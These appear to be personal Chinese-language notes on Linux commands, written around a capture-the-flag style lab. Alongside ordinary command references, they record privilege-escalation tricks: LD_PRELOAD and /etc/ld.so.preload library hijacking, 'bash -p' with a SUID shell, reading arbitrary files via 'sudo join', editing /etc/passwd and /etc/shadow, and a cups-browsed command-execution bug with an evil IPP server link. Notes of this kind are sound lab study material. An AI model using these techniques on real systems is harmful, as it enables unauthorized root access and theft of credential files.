2. 依赖库(Dependency Libraries)
- 存放各种软件的依赖库,例如 Python、Perl、Node.js、Qt、GTK 相关的库
- 例如:
/usr/lib/python3.9/
→ Python 3.9 相关的库/usr/lib/node_modules/
→ Node.js 全局安装的模块
3. 插件(Plugins)
- 某些软件的插件或模块也会放在
/usr/lib
- 例如:
/usr/lib/firefox/
→ Firefox 的插件/usr/lib/vim/
→ Vim 相关插件
4. 32 位与 64 位库
- 在 64 位系统中:
/usr/lib/
可能用于 32 位库(某些系统)/usr/lib64/
存放 64 位库
所以找python的一些库的函数就到/usr/lib/pythonx中找
lynx
lynx
是 Linux 下的一款基于终端的文本模式 Web 浏览器,它允许用户在没有图形界面的环境下访问网页。由于 lynx
只显示纯文本,它在服务器环境、远程管理(如 SSH)、无 GUI 的系统以及需要快速访问网页时非常有用。
而且还有file:// http:// ftp:// 等协议 可以查看本地文件
LD_PRELOAD
是 Linux 系统中的一个环境变量,用于在程序运行时动态加载指定的共享库。LD_PRELOAD 的作用是在程序运行前,将指定的共享库加载到程序的内存中。这样,程序在运行时会优先使用该共享库中的符号,而不是系统默认的符号。LD_PRELOAD 可以用于替换程序本身的函数,增加程序的功能或者调试程序。
LD_PRELOAD 的工作原理是,当程序需要调用某个符号时,系统会先在程序自身的符号表中查找,如果找不到,则会在 LD_PRELOAD 指定的共享库中查找。如果在 LD_PRELOAD 指定的共享库中找到了该符号,则使用该符号中的代码。
使用 LD_PRELOAD 可以实现一些特殊的功能,例如:
动态库劫持:可以用 LD_PRELOAD 来劫持程序中的函数,替换为自己编写的函数,实现一些特殊的功能。
程序调试:可以用 LD_PRELOAD 来替换程序中的函数,增加一些调试信息,例如,在程序中调用 printf 函数时,可以用 LD_PRELOAD 来替换为自己编写的函数,输出调试信息。
库版本控制:可以用 LD_PRELOAD 来强制程序使用指定版本的共享库,以避免程序在不同版本的环境中产生兼容性问题。
两种利用代码
1 |
|
1 |
|
1 | gcc -shared -fPIC hacker.c -o hacker.so |
LD_PRELOAD 也能解析 jpg 后缀
/etc/ld.so.preload
该文件是 Linux 系统的全局配置文件,用于指定程序启动时强制优先加载的动态链接库(.so 文件)。与 LD_PRELOAD
环境变量不同,/etc/ld.so.preload
的影响是系统级的,会对所有用户和进程生效
该文件的行为类似于**LD_PRELOAD
** ENV 变量,但也适用于 SUID 二进制文件。
如果您可以创建它或修改它,则只需在每个执行的二进制文件中加载的库中添加路径即可。
例如: echo "/tmp/pe.so" > /etc/ld.so.preload
1 |
|
接触到这个是在flower靶机里面,touch有suid,然后没有这个/etc/ld.so.preload文件,然后修改umask
用法就是在创建好这个/etc/ld.so.preload之后,在这个文件里面输入编译好的文件的位置,比如/tmp/a.so
telnet
Linux telnet 命令用于远端登入。
执行 telnet 指令开启终端机阶段作业,并登入远端主机。
用法
1 | telnet [选项] <目标IP或主机名> [端口] |
Telnet 客户端命常用命令:
open : 使用 openhostname 可以建立到主机的 Telnet 连接。
close : 使用命令 close 命令可以关闭现有的 Telnet 连接。
display : 使用 display 命令可以查看 Telnet 客户端的当前设置。
send : 使用 send 命令可以向 Telnet 服务器发送命令。支持以下命令:
ao : 放弃输出命令。
ayt : “Are you there” 命令。
esc : 发送当前的转义字符。
ip : 中断进程命令。
synch : 执行 Telnet 同步操作。
brk : 发送信号。
在 telnet
会话中,使用 Ctrl + ]
进入 telnet>
提示符,然后输入:
strace
strace
是 Linux 系统中用于动态跟踪用户空间进程与内核交互的工具,主要监控进程的系统调用、信号传递和进程状态变更。其底层通过内核的 ptrace
特性实现,是运维和开发人员诊断程序问题的利器
strace
跟踪流的输出内容
当使用 strace
跟踪进程时,其输出主要包含以下信息
- 系统调用名称:如
open
、read
、write
、close
、access
等。 - 调用参数:以符号或十六进制形式显示参数(如文件路径、标志位等)。
- 示例:
open("/etc/ld.so.preload", O_RDONLY) = 3
,表示以只读方式打开该文件,返回文件描述符 3。
- 示例:
- 返回值:系统调用的结果状态。
- 成功时返回具体值(如文件描述符、字节数);
- 失败时返回
-1
并附带错误原因(如ENOENT
表示文件不存在,EACCES
表示权限不足)。
- 耗时信息(若启用
-T
参数):显示系统调用的执行时间。 - 进程 / 线程标识(若启用
-f
参数):在多进程 / 线程场景下显示具体 PID 或 TID。- 示例:
[pid 17654] open("test.log", O_WRONLY)
。
- 示例:
grep -Pi "open|access|no such file"
的过滤逻辑
用户通过此命令筛选 strace
输出中的关键信息,原因如下:
- 目标系统调用过滤:
open
:跟踪文件打开操作,常用于排查文件路径错误、权限问题或依赖缺失。access
:检查文件是否存在或可访问,用于定位权限配置错误(如EACCES
)或路径不存在(ENOENT
)
- 错误关键字过滤:
no such file
:匹配ENOENT
错误,快速定位因文件 / 目录不存在导致的失败。
- 参数解释:
-P
:启用 Perl 兼容正则表达式(PCRE),支持更灵活的匹配语法。-i
:忽略大小写,确保匹配No Such File
或NO SUCH FILE
等变体
这样子就是看调用了什么,第一次记录这个指令是在flower靶机中,touch有suid,然后追踪touch,发现没有/etc/ld.so.preload
核心功能
- 跟踪系统调用:记录进程执行过程中调用的所有系统调用(如
open
、read
、write
等),包括参数、返回值和耗时。 - 信号监控:捕获进程接收和发送的信号(如
SIGKILL
)。 - 黑盒分析:当程序无日志或日志不清晰时,通过系统调用定位问题根源。
umask
Linux umask 命令指定在建立文件时预设的权限掩码。
umask 可用来设定 [权限掩码]。[权限掩码] 是由 3 个八进制的数字所组成,将现有的存取权限减掉权限掩码后,即可产生建立文件时预设的权限。
语法
1 | umask: usage: umask [-p] [-S] [mode] |
-p:打印当前 umask 值
-S:显示当前掩码
mode:设置为 umask 值
这个用在如果类似于touch这样创建文件的指令有suid的时候有用,因为普通的时候用户可以用chmod直接修改文件的权限,就没什么用
umask的权限修改方式和chmod是相反的,chmod是直接给权限,umask是用666减去权限,比如umask是022 那创建之后的权限就是644
bash
bash除了直接获得一个bash还有一些关键字和参数
Bash 脚本中的位置参数
脚本内通过 $0
、$1
、$2
等引用参数,特殊参数含义如下:
$0
:脚本文件名(包含路径)$1
、$2
、…:第 1、2 个参数,依次类推$#
:参数个数(不包含$0
)$@
与$*
:所有参数列表,区别在于"$@"
为数组,"$*"
为单个字符串$?
:上一条命令的退出状态码(0 表示成功)$$
:当前进程的 PID
示例
1 | ./test.sh a b c # $0=./test.sh, $1=a, $2=b, $3=c, $#=3 |
交互模式和脚本模式
选项 | 作用 |
---|---|
-i |
交互模式(interactive mode),Bash 启动后会提供命令提示符。 |
-c "command" |
运行单个命令后退出,如:bash -c 'echo Hello' |
-s |
让 Bash 从 标准输入 读取命令,如:`echo ‘echo hello’ |
--rcfile file |
指定 自定义启动文件(而不是 ~/.bashrc )。 |
权限与安全
选项 | 作用 |
---|---|
-p |
保留特权模式(privileged mode),即不降低 SUID/SGID 权限。 |
--noprofile |
不加载 ~/.bash_profile 或 /etc/profile (适用于非交互式 shell)。 |
--norc |
不加载 ~/.bashrc (适用于交互式 shell)。 |
--restricted / -r |
受限模式(restricted mode),限制部分 Bash 功能(如 cd 、环境变量修改等)。 |
所以通过某种方式得到了/bin/bash 并且已经chmod+s 之后就要用-p参数来用这个bash,保持这个bash原来的suid |
xxd
xxd
是 Linux 下的十六进制转储工具,用于 将文件或数据转换为十六进制格式 或 反向还原为二进制,适用于调试、数据分析和二进制编辑等场景
xxd
命令选项
选项 | 作用 |
---|---|
-a |
缺省忽略转换:使用 * 替换空行。 |
-b |
以二进制格式转储数据(与 -ps 、-i 、-r 不兼容),默认为十六进制。 |
-c cols |
每行显示多少列的八位字节(默认 16 列,-i 选项默认 12 列,-ps 选项默认 30 列)。 |
-E |
使用 EBCDIC 字符集(默认使用 ASCII 字符集)。 |
-e |
以小端模式转储数据(与 -ps 、-i 、-r 不兼容)。 |
-g |
在正常输出模式下,每组包含的八位字节数(默认 2 个,-e 选项时默认 4 个)。 |
-h |
显示帮助信息。 |
-i |
以 C 语言数组的格式输出数据。 |
-l len |
在 len 个八位字节后停止转储。 |
-o off |
从 off 偏移量开始转储数据。 |
-ps |
以 postscript 格式输出,并在行尾添加十六进制转储内容。 |
-r |
逆向操作:将十六进制内容转换(或修补)回二进制数据。 |
-r -s off |
在 off 偏移量处开始将十六进制内容转换回二进制数据。 |
-s [+][-]seek |
指定 seek 偏移量来开始读取输入文件(+ 号表示相对偏移,- 号表示负偏移)。 |
-u |
使用大写字母表示十六进制数据。 |
-v |
显示 xxd 版本信息,如 "xxd V1.10 27oct98 by Juergen Weigert" 。 |
-p -r 一般够用 |
用/etc/shadow 和 /etc/passwd新建用户
1 | 步骤:新建的用户和组名是 liwu,UID:507,GID:505 // 用户名、组名、UID 和 GID 不可其他用户冲突 |
join
join
用于根据两个文件的共同字段合并行,类似于 SQL 的 JOIN
操作。文件需提前按共同字段排序,否则无法正确匹配
1 | join [选项] 文件1 文件2 |
常见参数及示例**
参数 | 作用 | 示例代码 |
---|---|---|
-t CHAR |
指定字段分隔符(默认空格) | join -t ',' file1.csv file2.csv |
-a FILENUM |
输出未匹配的行(1 = 文件 1,2 = 文件 2) |
join -a1 file1.txt file2.txt |
-e STRING |
将缺失字段替换为指定字符串 | join -e "NULL" file1.txt file2.txt |
-i |
忽略字段大小写 | join -i file1.txt file2.txt |
-1 N |
指定文件 1 的第 N 列为连接字段 | join -1 2 file1.txt file2.txt |
-2 N |
指定文件 2 的第 N 列为连接字段 | join -2 3 file1.txt file2.txt |
-o FORMAT |
自定义输出字段(格式:文件号.字段号 ) |
join -o 1.2,2.1 file1.txt file2.txt |
-v FILENUM |
仅输出未匹配的行(类似 -a 但更严格) |
join -v1 file1.txt file2.txt |
所以可以用-a参数读取任意文件,因为-a是输出未匹配的行sudo /usr/bin/join -a 2 /dev/null $LFILE |
631 ipp服务
OpenPrinting CUPS(通用 Unix 打印系统)是为类 Unix 操作系统开发的开源打印系统。它允许计算机充当打印服务器,高效管理本地和网络打印机。Cups-Browsed 是 CUPS 系统的一部分,是一个专门用于浏览网络上其他 CUPS 服务器共享的远程打印机的守护进程。它可以自动发现和配置网络打印机,让用户更容易访问和使用网络上共享的打印资源,无需手动设置。
在 Cups-Browsed 2.0.1 及之前的版本中,存在一个由 PPD(PostScript 打印机描述)文件中的 FoomaticRIPCommandLine 参数处理不当引起的问题。攻击者可以通过创建一个恶意的 IPP(互联网打印协议)服务器来利用这个漏洞,向易受攻击的 Cups-Browsed 实例发送精心制作的打印机信息,然后在运行易受攻击的 Cups-Browsed 的系统上执行任意命令。
漏洞编号是CVE-2024-41777
https://github.com/vulhub/evil-ipp-server
df -h
df -h
是 Linux 下用于查看磁盘空间使用情况的命令
1 | df -h Filesystem Size Used Avail Use% Mounted on |
fdisk -l
fdisk -l
用于列出系统中所有磁盘及其分区信息,常用于查看磁盘分区表。
输出示例
1 | Disk /dev/sda: 100 GiB, 107374182400 bytes, 209715200 sectors |
mount
mount
用于挂载文件系统,使其可以被访问。它可以将存储设备(如硬盘分区、U 盘、ISO 镜像等)挂载到 Linux 文件系统的某个目录下。
挂载本地磁盘分区
1 | sudo mount /dev/sdb1 /mnt |
注意:挂载前,请确保目录 /mnt
存在,否则需要先 mkdir /mnt
创建。
umount 卸载
用法 | 命令 |
---|---|
查看挂载信息 | mount |
挂载磁盘 | sudo mount /dev/sdb1 /mnt |
挂载 ISO | sudo mount -o loop image.iso /mnt |
只读挂载 | sudo mount -o ro /dev/sdb1 /mnt |
卸载设备 | sudo umount /mnt |
强制卸载 | sudo umount -f /mnt |
配置开机自动挂载 | /etc/fstab |